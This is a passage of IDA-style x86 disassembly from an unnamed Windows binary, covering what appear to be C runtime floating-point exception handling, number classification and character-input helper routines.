		mov	eax, [ebp+var_34]


loc_4217D0:				; CODE XREF: sub_420DB0+A11j
					; sub_420DB0+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420DB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4217D5	proc near		; CODE XREF: sub_420DB0+7A3p
					; sub_420DB0+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43D084, 1
		push	esi
		jle	short loc_4217EF
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4217FE
; ---------------------------------------------------------------------------


loc_4217EF:				; CODE XREF: sub_4217D5+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43CE78
		mov	al, [eax+esi*2]
		and	eax, 4


loc_4217FE:				; CODE XREF: sub_4217D5+18j
		test	eax, eax
		jnz	short loc_421808
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_421808:				; CODE XREF: sub_4217D5+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_4217D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_42180C	proc near		; CODE XREF: sub_420DB0+1E1p
					; sub_420DB0+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_42181E
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_42181E:				; CODE XREF: sub_42180C+7j
		push	edx
		call	sub_41F8E3
		pop	ecx
		retn
sub_42180C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421826	proc near		; CODE XREF: sub_420DB0+6Bp
					; sub_420DB0+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_42183C
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4247BF
		pop	ecx
		pop	ecx

locret_42183C:				; CODE XREF: sub_421826+5j
		retn
sub_421826	endp


; =============== S U B	R O U T	I N E =======================================



sub_42183D	proc near		; CODE XREF: sub_420DB0+63p
					; sub_420DB0+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_421843:				; CODE XREF: sub_42183D+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_42180C
		mov	edi, eax
		push	edi
		call	sub_41DF10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421843
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42183D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_421861(int,int,double,int)

sub_421861	proc near		; CODE XREF: sub_41D055+51p
					; sub_41D19B+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43D7F0, 0
		jnz	short loc_421896
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_421E16
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421896:				; CODE XREF: sub_421861+Aj
		push	0FFFFh
		mov	dword_4DBDDC, 21h
		push	[ebp+arg_C]
		call	sub_422089
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_421861	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4218B4(int,int,double,double,int)

sub_4218B4	proc near		; CODE XREF: sub_41D055:loc_41D118p
					; sub_41D19B:loc_41D25Ep

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_421BFF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4218F2
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_42194C
		add	esp, 18h


loc_4218F2:				; CODE XREF: sub_4218B4+1Aj
		push	[ebp+arg_0]
		call	sub_421EE9
		cmp	dword_43D7F0, 0
		pop	ecx
		jnz	short loc_421930
		test	eax, eax
		jz	short loc_421930
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_421E16
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_421930:				; CODE XREF: sub_4218B4+4Ej
					; sub_4218B4+52j
		push	eax
		call	sub_421E9E
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_422089
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_4218B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42194C	proc near		; CODE XREF: sub_4218B4+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_42197E
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_42197E:				; CODE XREF: sub_42194C+23j
		test	cl, 2
		jz	short loc_421991
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_421991:				; CODE XREF: sub_42194C+35j
		test	cl, bl
		jz	short loc_4219A3
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_4219A3:				; CODE XREF: sub_42194C+47j
		test	cl, 4
		jz	short loc_4219B6
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_4219B6:				; CODE XREF: sub_42194C+5Aj
		test	cl, 8
		jz	short loc_4219C9
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_4219C9:				; CODE XREF: sub_42194C+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_42206C
		test	al, bl
		jz	short loc_421A52
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_421A52:				; CODE XREF: sub_42194C+FDj
		test	al, 4
		jz	short loc_421A5D
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_421A5D:				; CODE XREF: sub_42194C+108j
		test	al, 8
		jz	short loc_421A68
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_421A68:				; CODE XREF: sub_42194C+113j
		test	al, 10h
		jz	short loc_421A72
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_421A72:				; CODE XREF: sub_42194C+11Ej
		test	al, 20h
		jz	short loc_421A7C
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_421A7C:				; CODE XREF: sub_42194C+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_421ABB
		cmp	eax, 400h
		jz	short loc_421AAD
		cmp	eax, 800h
		jz	short loc_421AA1
		cmp	eax, ecx
		jnz	short loc_421AC1
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421AC1
; ---------------------------------------------------------------------------


loc_421AA1:				; CODE XREF: sub_42194C+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_421AB7
; ---------------------------------------------------------------------------


loc_421AAD:				; CODE XREF: sub_42194C+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_421AB7:				; CODE XREF: sub_42194C+15Fj
		mov	[eax], ecx
		jmp	short loc_421AC1
; ---------------------------------------------------------------------------


loc_421ABB:				; CODE XREF: sub_42194C+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_421AC1:				; CODE XREF: sub_42194C+14Bj
					; sub_42194C+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_421AEC
		cmp	eax, 200h
		jz	short loc_421ADF
		cmp	eax, ecx
		jnz	short loc_421AF9
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_421AF9
; ---------------------------------------------------------------------------


loc_421ADF:				; CODE XREF: sub_42194C+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_421AF7
; ---------------------------------------------------------------------------


loc_421AEC:				; CODE XREF: sub_42194C+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_421AF7:				; CODE XREF: sub_42194C+19Ej
		mov	[eax], ecx


loc_421AF9:				; CODE XREF: sub_42194C+189j
					; sub_42194C+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_42207A
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	near ptr 2650343h
		nop
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_421B73
		and	dword ptr [esi], 0FFFFFFFEh


loc_421B73:				; CODE XREF: sub_42194C+222j
		test	byte ptr [eax+8], 8
		jz	short loc_421B7C
		and	dword ptr [esi], 0FFFFFFFBh


loc_421B7C:				; CODE XREF: sub_42194C+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_421B85
		and	dword ptr [esi], 0FFFFFFF7h


loc_421B85:				; CODE XREF: sub_42194C+234j
		test	byte ptr [eax+8], 2
		jz	short loc_421B8E
		and	dword ptr [esi], 0FFFFFFEFh


loc_421B8E:				; CODE XREF: sub_42194C+23Dj
		test	[eax+8], bl
		jz	short loc_421B96
		and	dword ptr [esi], 0FFFFFFDFh


loc_421B96:				; CODE XREF: sub_42194C+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_421BCA
		dec	ecx
		jz	short loc_421BBE
		dec	ecx
		jz	short loc_421BB4
		dec	ecx
		jnz	short loc_421BCC
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_421BCC
; ---------------------------------------------------------------------------


loc_421BB4:				; CODE XREF: sub_42194C+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_421BC6
; ---------------------------------------------------------------------------


loc_421BBE:				; CODE XREF: sub_42194C+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_421BC6:				; CODE XREF: sub_42194C+270j
		mov	[esi], ecx
		jmp	short loc_421BCC
; ---------------------------------------------------------------------------


loc_421BCA:				; CODE XREF: sub_42194C+257j
		and	[esi], edx


loc_421BCC:				; CODE XREF: sub_42194C+260j
					; sub_42194C+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_421BEC
		dec	ecx
		jz	short loc_421BE3
		dec	ecx
		jnz	short loc_421BF5
		and	[esi], edx
		jmp	short loc_421BF5
; ---------------------------------------------------------------------------


loc_421BE3:				; CODE XREF: sub_42194C+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_421BF3
; ---------------------------------------------------------------------------


loc_421BEC:				; CODE XREF: sub_42194C+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_421BF3:				; CODE XREF: sub_42194C+29Ej
		mov	[esi], ecx


loc_421BF5:				; CODE XREF: sub_42194C+291j
					; sub_42194C+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42194C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421BFF	proc near		; CODE XREF: sub_4218B4+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_421C2A
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_421C2A
		push	ebx
		call	sub_4220AC
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_421DF4
; ---------------------------------------------------------------------------


loc_421C2A:				; CODE XREF: sub_421BFF+15j
					; sub_421BFF+1Aj
		test	al, 4
		jz	short loc_421C44
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_421C44
		push	4
		call	sub_4220AC
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_421DF4
; ---------------------------------------------------------------------------


loc_421C44:				; CODE XREF: sub_421BFF+2Dj
					; sub_421BFF+33j
		test	al, bl
		jz	loc_421D1E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_421D1E
		push	8
		call	sub_4220AC
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_421CF6
		cmp	ecx, 400h
		jz	short loc_421CCE
		cmp	ecx, 800h
		jz	short loc_421CA6
		cmp	ecx, eax
		jnz	loc_421D16
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fld	dbl_43D3F0
		fnstsw	ax
		sahf
		ja	short loc_421C9E
		fchs


loc_421C9E:				; CODE XREF: sub_421BFF+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421D14
; ---------------------------------------------------------------------------


loc_421CA6:				; CODE XREF: sub_421BFF+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jbe	short loc_421CBE
		fld	dbl_43D3E0
		jmp	short loc_421CC6
; ---------------------------------------------------------------------------


loc_421CBE:				; CODE XREF: sub_421BFF+B5j
		fld	dbl_43D3F0
		fchs


loc_421CC6:				; CODE XREF: sub_421BFF+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421D14
; ---------------------------------------------------------------------------


loc_421CCE:				; CODE XREF: sub_421BFF+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jbe	short loc_421CE6
		fld	dbl_43D3F0
		jmp	short loc_421CEE
; ---------------------------------------------------------------------------


loc_421CE6:				; CODE XREF: sub_421BFF+DDj
		fld	dbl_43D3E0
		fchs


loc_421CEE:				; CODE XREF: sub_421BFF+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421D14
; ---------------------------------------------------------------------------


loc_421CF6:				; CODE XREF: sub_421BFF+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fld	dbl_43D3E0
		fnstsw	ax
		sahf
		ja	short loc_421D0E
		fchs


loc_421D0E:				; CODE XREF: sub_421BFF+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_421D14:				; CODE XREF: sub_421BFF+A5j
					; sub_421BFF+CDj ...
		fstp	qword ptr [ecx]


loc_421D16:				; CODE XREF: sub_421BFF+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_421DF4
; ---------------------------------------------------------------------------


loc_421D1E:				; CODE XREF: sub_421BFF+47j
					; sub_421BFF+51j
		test	al, 2
		jz	loc_421DF4
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_421DF4
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_421D39
		mov	esi, ebx


loc_421D39:				; CODE XREF: sub_421BFF+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jz	loc_421DE2
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_421FAB
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_421D84
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_421DD8
; ---------------------------------------------------------------------------


loc_421D84:				; CODE XREF: sub_421BFF+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jnb	short loc_421D96
		mov	edx, ebx
		jmp	short loc_421D98
; ---------------------------------------------------------------------------


loc_421D96:				; CODE XREF: sub_421BFF+191j
		xor	edx, edx


loc_421D98:				; CODE XREF: sub_421BFF+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_421DCC
		sub	eax, ecx


loc_421DAF:				; CODE XREF: sub_421BFF+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_421DBA
		test	esi, esi
		jnz	short loc_421DBA
		mov	esi, ebx


loc_421DBA:				; CODE XREF: sub_421BFF+1B3j
					; sub_421BFF+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_421DC6
		or	byte ptr [ebp+var_C+3],	80h


loc_421DC6:				; CODE XREF: sub_421BFF+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_421DAF


loc_421DCC:				; CODE XREF: sub_421BFF+1ACj
		test	edx, edx
		jz	short loc_421DD8
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_421DD8:				; CODE XREF: sub_421BFF+183j
					; sub_421BFF+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_421DE4
; ---------------------------------------------------------------------------


loc_421DE2:				; CODE XREF: sub_421BFF+14Ej
		mov	esi, ebx


loc_421DE4:				; CODE XREF: sub_421BFF+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_421DF1
		push	10h
		call	sub_4220AC
		pop	ecx


loc_421DF1:				; CODE XREF: sub_421BFF+1E8j
		and	edi, 0FFFFFFFDh


loc_421DF4:				; CODE XREF: sub_421BFF+26j
					; sub_421BFF+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_421E0B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_421E0B
		push	20h
		call	sub_4220AC
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_421E0B:				; CODE XREF: sub_421BFF+1F9j
					; sub_421BFF+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_421BFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421E16(int,int,int,int,int,int,double,int)

sub_421E16	proc near		; CODE XREF: sub_421861+2Bp
					; sub_4218B4+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421EC4
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_421E81
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_422089
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42482D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421E7B
		push	esi
		call	sub_421E9E
		pop	ecx


loc_421E7B:				; CODE XREF: sub_421E16+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_421E81:				; CODE XREF: sub_421E16+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_422089
		push	[ebp+arg_0]
		call	sub_421E9E
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_421E16	endp


; =============== S U B	R O U T	I N E =======================================



sub_421E9E	proc near		; CODE XREF: sub_4218B4+7Dp
					; sub_421E16+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_421EB9
		jle	short locret_421EC3
		cmp	eax, 3
		jg	short locret_421EC3
		mov	dword_4DBDDC, 22h
		retn
; ---------------------------------------------------------------------------


loc_421EB9:				; CODE XREF: sub_421E9E+7j
		mov	dword_4DBDDC, 21h

locret_421EC3:				; CODE XREF: sub_421E9E+9j
					; sub_421E9E+Ej
		retn
sub_421E9E	endp


; =============== S U B	R O U T	I N E =======================================



sub_421EC4	proc near		; CODE XREF: sub_421E16+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43D308


loc_421ECB:				; CODE XREF: sub_421EC4+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_421EE1
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43D3E0
		jl	short loc_421ECB
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_421EE1:				; CODE XREF: sub_421EC4+Dj
		mov	eax, off_43D30C[ecx*8]
		retn
sub_421EC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_421EE9	proc near		; CODE XREF: sub_4218B4+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_421EF5
		push	5
		jmp	short loc_421F0B
; ---------------------------------------------------------------------------


loc_421EF5:				; CODE XREF: sub_421EE9+6j
		test	al, 8
		jz	short loc_421EFD
		push	1
		jmp	short loc_421F0B
; ---------------------------------------------------------------------------


loc_421EFD:				; CODE XREF: sub_421EE9+Ej
		test	al, 4
		jz	short loc_421F05
		push	2
		jmp	short loc_421F0B
; ---------------------------------------------------------------------------


loc_421F05:				; CODE XREF: sub_421EE9+16j
		test	al, 1
		jz	short loc_421F0D
		push	3


loc_421F0B:				; CODE XREF: sub_421EE9+Aj
					; sub_421EE9+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_421F0D:				; CODE XREF: sub_421EE9+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_421EE9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421F16(double)

sub_421F16	proc near		; CODE XREF: sub_41D055:loc_41D0DBp
					; sub_41D19B:loc_41D221p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_421F16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421F28(double,int)

sub_421F28	proc near		; CODE XREF: sub_421FAB+82p
					; sub_421FAB+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_421F28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F51	proc near		; CODE XREF: sub_41D055+31p
					; sub_41D19B+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_421F68
		cmp	[ebp+arg_0], edx
		jnz	short loc_421F7A
		push	1
		jmp	short loc_421FA4
; ---------------------------------------------------------------------------


loc_421F68:				; CODE XREF: sub_421F51+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_421F7A
		cmp	[ebp+arg_0], edx
		jnz	short loc_421F7A
		push	2
		jmp	short loc_421FA4
; ---------------------------------------------------------------------------


loc_421F7A:				; CODE XREF: sub_421F51+11j
					; sub_421F51+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_421F8D
		push	3
		jmp	short loc_421FA4
; ---------------------------------------------------------------------------


loc_421F8D:				; CODE XREF: sub_421F51+36j
		cmp	cx, 7FF0h
		jnz	short loc_421FA7
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421FA2
		cmp	[ebp+arg_0], edx
		jz	short loc_421FA7


loc_421FA2:				; CODE XREF: sub_421F51+4Aj
		push	4


loc_421FA4:				; CODE XREF: sub_421F51+15j
					; sub_421F51+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


